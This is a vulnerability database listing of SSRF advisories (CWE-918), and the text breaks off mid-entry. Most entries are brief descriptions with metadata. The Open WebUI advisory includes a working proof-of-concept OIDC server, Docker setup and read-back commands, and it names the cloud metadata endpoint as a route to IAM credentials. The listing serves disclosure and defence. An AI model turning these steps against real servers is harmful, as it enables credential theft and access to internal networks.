Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4738 vulnerabilities reference this CWE, most recent first.

GHSA-23X2-P68Q-C69P

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00
VLAI
Details

A Server-Side Request Forgery (SSRF) in the getFileBinary function of nbnbk cms 3 allows attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the URL parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the getFileBinary function of nbnbk cms 3 allows attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the URL parameter.",
  "id": "GHSA-23x2-p68q-c69p",
  "modified": "2022-06-16T00:00:22Z",
  "published": "2022-06-10T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31386"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Fanli2012/nbnbk/issues/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2444-CFC6-GH44

Vulnerability from github – Published: 2026-07-14 15:32 – Updated: 2026-07-14 15:32
VLAI
Details

Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a server-side request forgery (SSRF) vulnerability that allows unauthenticated attackers to make the device issue arbitrary HTTP requests by supplying a malicious callback URL when the optional Node-RED plugin is installed. Attackers can exploit the lack of destination validation and the default passphrase 'opendoor' to send blind HTTP requests to arbitrary internal or external hosts not otherwise directly accessible.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T15:17:06Z",
    "severity": "MODERATE"
  },
  "details": "Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a server-side request forgery (SSRF) vulnerability that allows unauthenticated attackers to make the device issue arbitrary HTTP requests by supplying a malicious callback URL when the optional Node-RED plugin is installed. Attackers can exploit the lack of destination validation and the default passphrase \u0027opendoor\u0027 to send blind HTTP requests to arbitrary internal or external hosts not otherwise directly accessible.",
  "id": "GHSA-2444-cfc6-gh44",
  "modified": "2026-07-14T15:32:17Z",
  "published": "2026-07-14T15:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58478"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sustainable-irrigation-platform-ssrf-via-node-red-callback-url"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/#/advisories/ZSL-2026-5998"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-245H-H68P-V4JQ

Vulnerability from github – Published: 2024-05-06 21:30 – Updated: 2024-12-06 21:30
VLAI
Details

crmeb_java v1.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the mergeList method in class com.zbkj.front.pub.ImageMergeController.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-06T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "crmeb_java v1.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the mergeList method in class com.zbkj.front.pub.ImageMergeController.",
  "id": "GHSA-245h-h68p-v4jq",
  "modified": "2024-12-06T21:30:36Z",
  "published": "2024-05-06T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cxcxcxcxcxcxcxc/cxcxcxcxcxcxcxc/blob/main/cxcxcxcxcxc/about-2024/33117.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-245V-963X-FF5C

Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32
VLAI
Details

Verba RAG application version 2.1.3 contains an unauthenticated server-side request forgery vulnerability that allows unauthenticated attackers to cause the backend to issue arbitrary HTTP GET requests by supplying attacker-controlled URLs through the WebSocket import endpoint. Attackers can connect to the /ws/import_files WebSocket endpoint without authentication, specify arbitrary URLs in the HTMLReader configuration, and cause the server to fetch internal resources such as co-located database endpoints or cloud instance metadata services to retrieve sensitive credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:19:10Z",
    "severity": "CRITICAL"
  },
  "details": "Verba RAG application version 2.1.3 contains an unauthenticated server-side request forgery vulnerability that allows unauthenticated attackers to cause the backend to issue arbitrary HTTP GET requests by supplying attacker-controlled URLs through the WebSocket import endpoint. Attackers can connect to the /ws/import_files WebSocket endpoint without authentication, specify arbitrary URLs in the HTMLReader configuration, and cause the server to fetch internal resources such as co-located database endpoints or cloud instance metadata services to retrieve sensitive credentials.",
  "id": "GHSA-245v-963x-ff5c",
  "modified": "2026-07-22T00:32:35Z",
  "published": "2026-07-22T00:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/verba.md#finding-1-unauthenticated-ssrf-in-verba-websocket-import-endpoint-htmlreader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/weaviate/Verba"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/verba-goldenverba-unauthenticated-server-side-request-forgery-via-websocket-import-endpoint-htmlreader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2474-2566-3QXP

Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2025-02-13 19:10
VLAI
Summary
Apache Batik information disclosure vulnerability
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache Software Foundation Apache XML Graphics Batik.This issue affects Apache XML Graphics Batik: 1.16.

A malicious SVG can probe user profile / data and send it directly as parameter to a URL.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.xmlgraphics:batik-script"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "1.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-44730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-23T17:51:53Z",
    "nvd_published_at": "2023-08-22T19:16:29Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache Software Foundation Apache XML Graphics Batik.This issue affects Apache XML Graphics Batik: 1.16.\n\nA malicious SVG can probe user profile / data and send it directly as parameter to a URL.",
  "id": "GHSA-2474-2566-3qxp",
  "modified": "2025-02-13T19:10:28Z",
  "published": "2023-08-22T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/xmlgraphics-batik/commit/64658ccda90deaf6bf5f5b4d4a2ec365fe648bfa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/xmlgraphics-batik/commit/f9ae69233eadfbd392a4a08a55618f97343b467c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/xmlgraphics-batik"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/BATIK-1347"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/58m5817jr059f4v1zogh0fngj9pwjyj0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-11"
    },
    {
      "type": "WEB",
      "url": "https://xmlgraphics.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/08/22/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/08/22/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Batik information disclosure vulnerability"
}

GHSA-249Q-VRHP-J59W

Vulnerability from github – Published: 2026-04-08 03:32 – Updated: 2026-04-08 03:32
VLAI
Details

IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 allows an attacker to contact internal authentication endpoints which are protected by the Reverse Proxy.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1343"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T01:16:40Z",
    "severity": "HIGH"
  },
  "details": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 allows an attacker to contact internal authentication endpoints which are protected by the Reverse Proxy.",
  "id": "GHSA-249q-vrhp-j59w",
  "modified": "2026-04-08T03:32:13Z",
  "published": "2026-04-08T03:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1343"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7268253"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24C9-2M8Q-QHMH

Vulnerability from github – Published: 2026-05-14 20:19 – Updated: 2026-05-19 15:59
VLAI
Summary
Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths: - backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url) - backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

python3 poc_oidc.py

3. Start Open WebUI with Docker:

docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:

  • Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
  • Internal network services not exposed to the internet
  • Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)  # Add this line
        # ... rest unchanged
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:19:56Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.\n\n## Vulnerable Code\n```python\n# backend/open_webui/utils/oauth.py, line ~1337-1345\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    # No validate_url() call here\n    async with aiohttp.ClientSession(trust_env=True) as session:\n        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:\n            if resp.ok:\n                picture = await resp.read()\n                base64_encoded_picture = base64.b64encode(picture).decode(\u0027utf-8\u0027)\n                return f\u0027data:{guessed_mime_type};base64,{base64_encoded_picture}\u0027\n```\n\nThe codebase already uses `validate_url()` for the same SSRF protection pattern in other paths:\n- `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)`\n- `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)`\n\nThe omission in `_process_picture_url()` is inconsistent with the project\u0027s own security practices.\n\n## Affected Code Paths\n\n1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get(\u0027access_token\u0027))`\n2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`\n\n## Steps to Reproduce\n\n### Prerequisites\n- Open WebUI instance with generic OIDC OAuth configured\n- `ENABLE_OAUTH_SIGNUP=true`\n\n### Setup\n\n**1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint:\n```python\n\"\"\"Minimal OIDC PoC server - save as poc_oidc.py\"\"\"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, urllib.parse\n\nSSRF_TARGET = \"http://host.docker.internal:9000/canary\"\nCANARY = \"SSRF_CONFIRMED_OPEN_WEBUI\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = urllib.parse.urlparse(self.path).path\n        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)\n        if path == \"/.well-known/openid-configuration\":\n            self._json({\"issuer\":\"http://host.docker.internal:9000\",\n                \"authorization_endpoint\":\"http://localhost:9000/authorize\",\n                \"token_endpoint\":\"http://host.docker.internal:9000/token\",\n                \"userinfo_endpoint\":\"http://host.docker.internal:9000/userinfo\",\n                \"jwks_uri\":\"http://host.docker.internal:9000/jwks\",\n                \"response_types_supported\":[\"code\"],\"subject_types_supported\":[\"public\"],\n                \"id_token_signing_alg_values_supported\":[\"RS256\"],\n                \"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\"]})\n        elif path == \"/authorize\":\n            ru = query.get(\"redirect_uri\",[\"\"])[0]\n            st = query.get(\"state\",[\"\"])[0]\n            self.send_response(302)\n            self.send_header(\"Location\", f\"{ru}?code=poc-code\u0026state={st}\")\n            self.end_headers()\n        elif path == \"/userinfo\":\n            self._json({\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET})\n        elif path == \"/jwks\":\n            self._json({\"keys\":[]})\n        elif path == \"/canary\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\",\"text/plain\")\n            body = CANARY.encode()\n            self.send_header(\"Content-Length\",len(body))\n            self.end_headers()\n            self.wfile.write(body)\n            print(f\"!!! CANARY FETCHED - SSRF CONFIRMED !!!\")\n        else:\n            self.send_response(404); self.end_headers()\n    def do_POST(self):\n        if \"/token\" in self.path:\n            self._json({\"access_token\":\"tok\",\"token_type\":\"bearer\",\"expires_in\":3600,\n                \"userinfo\":{\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET}})\n    def _json(self, d):\n        b = json.dumps(d).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.send_header(\"Content-Length\",len(b))\n        self.end_headers()\n        self.wfile.write(b)\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n**2. Run the PoC server:**\n```bash\npython3 poc_oidc.py\n```\n\n**3. Start Open WebUI with Docker:**\n```bash\ndocker run -d -p 3000:8080 \\\n  --name owui-ssrf-test \\\n  --add-host=host.docker.internal:host-gateway \\\n  -e ENABLE_OAUTH_SIGNUP=true \\\n  -e WEBUI_AUTH=true \\\n  -e OAUTH_CLIENT_ID=test-client \\\n  -e OAUTH_CLIENT_SECRET=test-secret \\\n  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \\\n  -e OAUTH_PROVIDER_NAME=TestOIDC \\\n  -e \"OAUTH_SCOPES=openid email profile\" \\\n  ghcr.io/open-webui/open-webui:main\n```\n\n**4. Create an admin account** at `http://localhost:3000`, then sign out.\n\n**5. Click \"Continue with TestOIDC\"** on the login page.\n\n**6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!`\n\n**7. Verify exfiltrated data is stored and readable:**\n```bash\ncurl -s http://localhost:3000/api/v1/auths/ \\\n  -H \"Authorization: Bearer \u003csession-token\u003e\" | python3 -c \"\nimport sys, json, base64\ndata = json.load(sys.stdin)\nurl = data.get(\u0027profile_image_url\u0027, \u0027\u0027)\nif \u0027base64,\u0027 in url:\n    decoded = base64.b64decode(url.split(\u0027base64,\u0027,1)[1]).decode()\n    print(f\u0027DECODED: {decoded}\u0027)\n\"\n```\n\n**Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI`\n\nThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API.\n\n## Impact\n\nAn attacker can force the Open WebUI server to make HTTP requests to:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials\n- **Internal network services** not exposed to the internet\n- **Localhost-bound services** (Redis, Elasticsearch, internal APIs)\n\nThis is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field.\n\n## Configuration Note\n\nThis vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.\n\n## Suggested Fix\n\nApply `validate_url()` before fetching, consistent with existing patterns in the codebase:\n```python\nfrom open_webui.retrieval.web.utils import validate_url\n\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    if not picture_url:\n        return \u0027/user.png\u0027\n    try:\n        validate_url(picture_url)  # Add this line\n        # ... rest unchanged\n```",
  "id": "GHSA-24c9-2m8q-qhmh",
  "modified": "2026-05-19T15:59:13Z",
  "published": "2026-05-14T20:19:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)"
}

GHSA-24CF-848G-762C

Vulnerability from github – Published: 2025-03-29 00:31 – Updated: 2025-04-01 14:20
VLAI
Summary
ShopXO Vulnerable to Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS)
Details

shopxo v6.4.0 has a ssrf/xss vulnerability in multiple places.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopxo/shopxo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-28094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-01T14:20:27Z",
    "nvd_published_at": "2025-03-28T22:15:18Z",
    "severity": "MODERATE"
  },
  "details": "shopxo v6.4.0 has a ssrf/xss vulnerability in multiple places.",
  "id": "GHSA-24cf-848g-762c",
  "modified": "2025-04-01T14:20:27Z",
  "published": "2025-03-29T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28094"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gongfuxiang/shopxo"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/echzollcdlmllgqo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShopXO Vulnerable to Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS)"
}

GHSA-24J3-W3XQ-4R3W

Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-23 15:30
VLAI
Details

An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Add Mycode function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:15Z",
    "severity": "HIGH"
  },
  "details": "An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Add Mycode function.",
  "id": "GHSA-24j3-w3xq-4r3w",
  "modified": "2025-04-23T15:30:47Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29460"
    },
    {
      "type": "WEB",
      "url": "https://docs.mybb.com/1.8/administration/security/protection/#limit-access-to-private-hosts-and-ip-addresses"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/fgg059stiog457ch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24P8-C5JG-969R

Vulnerability from github – Published: 2026-07-02 12:31 – Updated: 2026-07-02 12:31
VLAI
Details

Subscriber Server Side Request Forgery (SSRF) in GeoDirectory <= 2.8.161 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T12:17:38Z",
    "severity": "MODERATE"
  },
  "details": "Subscriber Server Side Request Forgery (SSRF) in GeoDirectory \u003c= 2.8.161 versions.",
  "id": "GHSA-24p8-c5jg-969r",
  "modified": "2026-07-02T12:31:01Z",
  "published": "2026-07-02T12:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57681"
    },
    {
